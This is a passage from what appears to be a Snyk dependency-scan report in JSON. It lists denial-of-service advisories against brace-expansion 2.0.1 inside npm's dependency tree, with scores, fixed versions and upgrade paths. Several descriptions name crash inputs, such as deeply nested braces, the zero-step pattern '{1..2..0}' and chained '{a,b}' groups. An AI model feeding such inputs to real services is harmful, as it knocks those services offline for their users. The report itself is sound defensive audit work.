"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/sign@2.3.2",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
